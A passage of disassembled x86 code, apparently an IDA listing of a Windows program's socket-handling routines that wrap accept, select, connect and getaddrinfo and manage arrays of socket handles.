		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax
		jmp	short loc_404990
; ---------------------------------------------------------------------------


loc_4049D1:				; CODE XREF: sub_4048EF+B1j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049E6:				; CODE XREF: sub_4048EF+9Fj
		jmp	loc_404953
; ---------------------------------------------------------------------------


loc_4049EB:				; CODE XREF: sub_4048EF+80j
					; sub_4048EF+F5j
		xor	eax, eax
		test	eax, eax
		jnz	loc_40494A
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC	; accept
		mov	[ebp+var_98], eax
		cmp	[ebp+var_98], 0FFFFFFFFh
		jnz	short loc_404A27
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A27:				; CODE XREF: sub_4048EF+131j
		mov	eax, [ebp+var_98]
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404A32:				; CODE XREF: sub_4048EF+55j
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A37:				; CODE XREF: sub_4048EF+32j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		and	[ebp+var_8C], 0
		jmp	short loc_404A57
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_4048EF+21Dj
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404A57:				; CODE XREF: sub_4048EF+159j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404B11


loc_404A68:				; CODE XREF: sub_4048EF+217j
		and	[ebp+var_A0], 0
		jmp	short loc_404A7E
; ---------------------------------------------------------------------------


loc_404A71:				; CODE XREF: sub_4048EF:loc_404AB0j
		mov	eax, [ebp+var_A0]
		inc	eax
		mov	[ebp+var_A0], eax


loc_404A7E:				; CODE XREF: sub_4048EF+180j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnb	short loc_404AB2
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404AB0
		jmp	short loc_404AB2
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_4048EF+1BDj
		jmp	short loc_404A71
; ---------------------------------------------------------------------------


loc_404AB2:				; CODE XREF: sub_4048EF+19Ej
					; sub_4048EF+1BFj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnz	short loc_404B02
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+804h], 200h
		jnb	short loc_404B02
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax


loc_404B02:				; CODE XREF: sub_4048EF+1D2j
					; sub_4048EF+1E1j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404A68
		jmp	loc_404A4A
; ---------------------------------------------------------------------------


loc_404B11:				; CODE XREF: sub_4048EF+173j
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_94], eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_90], edx
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_41722C	; select
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 0
		jnz	short loc_404B71
		or	eax, 0FFFFFFFFh
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B71:				; CODE XREF: sub_4048EF+278j
		cmp	[ebp+var_88], 0FFFFFFFFh
		jnz	short loc_404B81
		xor	eax, eax
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B81:				; CODE XREF: sub_4048EF+289j
		and	[ebp+var_8C], 0
		jmp	short loc_404B97
; ---------------------------------------------------------------------------


loc_404B8A:				; CODE XREF: sub_4048EF+3B4j
					; sub_4048EF:loc_404CB0j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404B97:				; CODE XREF: sub_4048EF+299j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404CB5
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404CB0


loc_404BCB:				; CODE XREF: sub_4048EF+381j
		and	[ebp+var_A8], 0
		jmp	short loc_404BE1
; ---------------------------------------------------------------------------


loc_404BD4:				; CODE XREF: sub_4048EF:loc_404C67j
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax


loc_404BE1:				; CODE XREF: sub_4048EF+2E3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A8]
		cmp	ecx, [eax+804h]
		jnb	short loc_404C6C
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404C67


loc_404C11:				; CODE XREF: sub_4048EF+361j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_A8], eax
		jnb	short loc_404C52
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_A8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax
		jmp	short loc_404C11
; ---------------------------------------------------------------------------


loc_404C52:				; CODE XREF: sub_4048EF+332j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_404C6C
; ---------------------------------------------------------------------------


loc_404C67:				; CODE XREF: sub_4048EF+320j
		jmp	loc_404BD4
; ---------------------------------------------------------------------------


loc_404C6C:				; CODE XREF: sub_4048EF+301j
					; sub_4048EF+376j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404BCB
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC	; accept
		mov	[ebp+var_A4], eax
		cmp	[ebp+var_A4], 0FFFFFFFFh
		jnz	short loc_404CA8
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CA8:				; CODE XREF: sub_4048EF+3B2j
		mov	eax, [ebp+var_A4]
		jmp	short loc_404CB8
; ---------------------------------------------------------------------------


loc_404CB0:				; CODE XREF: sub_4048EF+2D6j
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CB5:				; CODE XREF: sub_4048EF+2B3j
		or	eax, 0FFFFFFFFh


loc_404CB8:				; CODE XREF: sub_4048EF+13Ej
					; sub_4048EF+27Dj ...
		pop	esi
		leave
		retn
sub_4048EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CBB	proc near		; CODE XREF: cAddress:00402237p
					; cAddress:00402321p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------


loc_404CC5:				; CODE XREF: sub_404CBB+3Ej
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404CCC:				; CODE XREF: sub_404CBB+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jnb	short loc_404CFB
		cmp	dword_41DE08, 0
		jz	short loc_404CE9
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 64h
		jbe	short loc_404CE9
		jmp	short loc_404CFB
; ---------------------------------------------------------------------------


loc_404CE9:				; CODE XREF: sub_404CBB+22j
					; sub_404CBB+2Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_404CC5
; ---------------------------------------------------------------------------


loc_404CFB:				; CODE XREF: sub_404CBB+19j
					; sub_404CBB+2Cj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		leave
		retn
sub_404CBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D10	proc near		; CODE XREF: cAddress:00413653p
					; cAddress:004143EAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 200h
		jbe	short loc_404D21
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D21:				; CODE XREF: sub_404D10+Bj
		push	1010h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_404D39
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D39:				; CODE XREF: sub_404D10+23j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]

locret_404D4B:				; CODE XREF: sub_404D10+Fj
					; sub_404D10+27j
		leave
		retn
sub_404D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D4D	proc near		; CODE XREF: cAddress:004138B3p
					; cAddress:004144B9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		cmp	eax, [ecx]
		jnz	short loc_404D6A
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short loc_404D99
; ---------------------------------------------------------------------------


loc_404D6A:				; CODE XREF: sub_404D4D+Ej
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4+0Ch], edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		xor	edx, edx
		cmp	eax, [ecx]
		setnz	dl
		mov	eax, edx


loc_404D99:				; CODE XREF: sub_404D4D+1Bj
		pop	ebp
		retn
sub_404D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D9B	proc near		; CODE XREF: cAddress:004139AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404DAC
; ---------------------------------------------------------------------------


loc_404DA5:				; CODE XREF: sub_404D9B:loc_404E18j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404DAC:				; CODE XREF: sub_404D9B+8j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short locret_404E1A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4+0Ch]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_404E18
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+8]
		jb	short loc_404DDE
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax


loc_404DDE:				; CODE XREF: sub_404D9B+34j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		sub	eax, [ebp+var_4]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+10h]
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		jmp	short locret_404E1A
; ---------------------------------------------------------------------------


loc_404E18:				; CODE XREF: sub_404D9B+29j
		jmp	short loc_404DA5
; ---------------------------------------------------------------------------

locret_404E1A:				; CODE XREF: sub_404D9B+1Aj
					; sub_404D9B+7Bj
		leave
		retn
sub_404D9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E1C	proc near		; CODE XREF: cAddress:004138FBp
					; cAddress:004144FEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		and	[ebp+var_8], 0
		jmp	short loc_404E41
; ---------------------------------------------------------------------------


loc_404E3A:				; CODE XREF: sub_404E1C+BDj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_404E41:				; CODE XREF: sub_404E1C+1Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+4]
		jnb	loc_404EDE


loc_404E50:				; CODE XREF: sub_404E1C+B7j
		and	[ebp+var_14], 0
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------


loc_404E56:				; CODE XREF: sub_404E1C:loc_404E86j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_404E5D:				; CODE XREF: sub_404E1C+38j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnb	short loc_404E88
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+810h]
		cmp	eax, [esi+edx*4+0Ch]
		jnz	short loc_404E86
		jmp	short loc_404E88
; ---------------------------------------------------------------------------


loc_404E86:				; CODE XREF: sub_404E1C+66j
		jmp	short loc_404E56
; ---------------------------------------------------------------------------


loc_404E88:				; CODE XREF: sub_404E1C+4Dj
					; sub_404E1C+68j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnz	short loc_404ECF
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+80Ch], 200h
		jnb	short loc_404ECF
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+0Ch]
		mov	[ecx+eax*4+810h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+80Ch]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+80Ch], eax


loc_404ECF:				; CODE XREF: sub_404E1C+78j
					; sub_404E1C+87j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404E50
		jmp	loc_404E3A
; ---------------------------------------------------------------------------


loc_404EDE:				; CODE XREF: sub_404E1C+2Ej
		and	[ebp+var_10], 0
		mov	[ebp+var_C], 3E8h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404F1A
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404F1A
		mov	[ebp+var_18], 1
		jmp	short loc_404F1E
; ---------------------------------------------------------------------------


loc_404F1A:				; CODE XREF: sub_404E1C+EDj
					; sub_404E1C+F3j
		and	[ebp+var_18], 0


loc_404F1E:				; CODE XREF: sub_404E1C+FCj
		mov	eax, [ebp+var_18]
		pop	esi
		leave
		retn
sub_404E1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F24	proc near		; CODE XREF: cAddress:0041390Cp
					; cAddress:0041451Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_404F3A
; ---------------------------------------------------------------------------


loc_404F33:				; CODE XREF: sub_404F24:loc_404F77j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F3A:				; CODE XREF: sub_404F24+Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404F79
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_404F77
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4+0Ch]
		jmp	short locret_404F7B
; ---------------------------------------------------------------------------


loc_404F77:				; CODE XREF: sub_404F24+3Bj
		jmp	short loc_404F33
; ---------------------------------------------------------------------------


loc_404F79:				; CODE XREF: sub_404F24+1Fj
		xor	eax, eax

locret_404F7B:				; CODE XREF: sub_404F24+51j
		leave
		retn
sub_404F24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F7D	proc near		; CODE XREF: sub_404FD0+6p
					; cAddress:00413A38p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404F8E
; ---------------------------------------------------------------------------


loc_404F87:				; CODE XREF: sub_404F7D+37j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F8E:				; CODE XREF: sub_404F7D+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404FB6
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_4053B1
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	dword ptr [ecx+eax*4+0Ch], 0
		jmp	short loc_404F87
; ---------------------------------------------------------------------------


loc_404FB6:				; CODE XREF: sub_404F7D+1Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		leave
		retn
sub_404F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FD0	proc near		; CODE XREF: cAddress:00413A97p
					; cAddress:004145E8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_404F7D
		pop	ecx
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_404FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FE7	proc near		; CODE XREF: sub_412BC9+11p
					; cAddress:004138AAp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_405010
		mov	[ebp+var_20], 17h
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405010:				; CODE XREF: sub_404FE7+1Ej
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405023
		mov	[ebp+var_20], 2
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405023:				; CODE XREF: sub_404FE7+31j
		and	[ebp+var_20], 0


loc_405027:				; CODE XREF: sub_404FE7+27j
					; sub_404FE7+3Aj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jz	short loc_405057
		xor	eax, eax
		jmp	locret_4050E8
; ---------------------------------------------------------------------------


loc_405057:				; CODE XREF: sub_404FE7+67j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		jmp	short loc_405068
; ---------------------------------------------------------------------------


loc_40505F:				; CODE XREF: sub_404FE7+A8j
					; sub_404FE7+F4j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_405068:				; CODE XREF: sub_404FE7+76j
		cmp	[ebp+var_4], 0
		jz	short loc_4050DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0FFFFFFFFh
		jnz	short loc_405091
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_405091:				; CODE XREF: sub_404FE7+A6j
		push	0
		push	[ebp+var_2C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_2C]
		call	dword_4171F4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050D2
		call	dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4050D2
		push	[ebp+var_28]
		call	dword_41DE5C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		jmp	short locret_4050E8
; ---------------------------------------------------------------------------


loc_4050D2:				; CODE XREF: sub_404FE7+CEj
					; sub_404FE7+DBj
		push	[ebp+var_2C]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_4050DD:				; CODE XREF: sub_404FE7+85j
		push	[ebp+var_28]
		call	dword_41DE5C	; freeaddrinfo
		xor	eax, eax

locret_4050E8:				; CODE XREF: sub_404FE7+6Bj
					; sub_404FE7+E9j
		leave
		retn
sub_404FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050EA	proc near		; CODE XREF: cAddress:00401EB8p
					; sub_402698+16p ...

var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 844h
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		mov	[ebp+var_834], eax
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		imul	edx, 3E8h
		mov	[ebp+var_830], edx
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_40513E
		mov	[ebp+var_20], 17h
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_40513E:				; CODE XREF: sub_4050EA+49j
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405151
		mov	[ebp+var_20], 2
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_405151:				; CODE XREF: sub_4050EA+5Cj
		and	[ebp+var_20], 0


loc_405155:				; CODE XREF: sub_4050EA+52j
					; sub_4050EA+65j
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_82C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jz	short loc_405188
		xor	eax, eax
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_405188:				; CODE XREF: sub_4050EA+95j
		mov	eax, [ebp+var_82C]
		mov	[ebp+var_4], eax
		jmp	short loc_40519C
; ---------------------------------------------------------------------------


loc_405193:				; CODE XREF: sub_4050EA+E3j
					; sub_4050EA+128j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40519C:				; CODE XREF: sub_4050EA+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40537D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_83C], eax
		cmp	[ebp+var_83C], 0FFFFFFFFh
		jnz	short loc_4051CF
		jmp	short loc_405193
; ---------------------------------------------------------------------------


loc_4051CF:				; CODE XREF: sub_4050EA+E1j
		push	0
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_83C]
		call	dword_4171F4	; connect
		mov	[ebp+var_838], eax
		cmp	[ebp+var_838], 0
		jz	short loc_405217
		call	dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_405217
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_405217:				; CODE XREF: sub_4050EA+119j
					; sub_4050EA+126j
		and	[ebp+var_828], 0


loc_40521E:				; CODE XREF: sub_4050EA+1AFj
		and	[ebp+var_840], 0
		jmp	short loc_405234
; ---------------------------------------------------------------------------


loc_405227:				; CODE XREF: sub_4050EA:loc_405259j
		mov	eax, [ebp+var_840]
		inc	eax
		mov	[ebp+var_840], eax


loc_405234:				; CODE XREF: sub_4050EA+13Bj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnb	short loc_40525B
		mov	eax, [ebp+var_840]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405259
		jmp	short loc_40525B
; ---------------------------------------------------------------------------


loc_405259:				; CODE XREF: sub_4050EA+16Bj
		jmp	short loc_405227
; ---------------------------------------------------------------------------


loc_40525B:				; CODE XREF: sub_4050EA+156j
					; sub_4050EA+16Dj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnz	short loc_405295
		cmp	[ebp+var_828], 200h
		jnb	short loc_405295
		mov	eax, [ebp+var_840]
		mov	ecx, [ebp+var_83C]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_828]
		inc	eax
		mov	[ebp+var_828], eax


loc_405295:				; CODE XREF: sub_4050EA+17Dj
					; sub_4050EA+189j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_40521E
		lea	eax, [ebp+var_834]
		push	eax
		push	0
		lea	eax, [ebp+var_828]
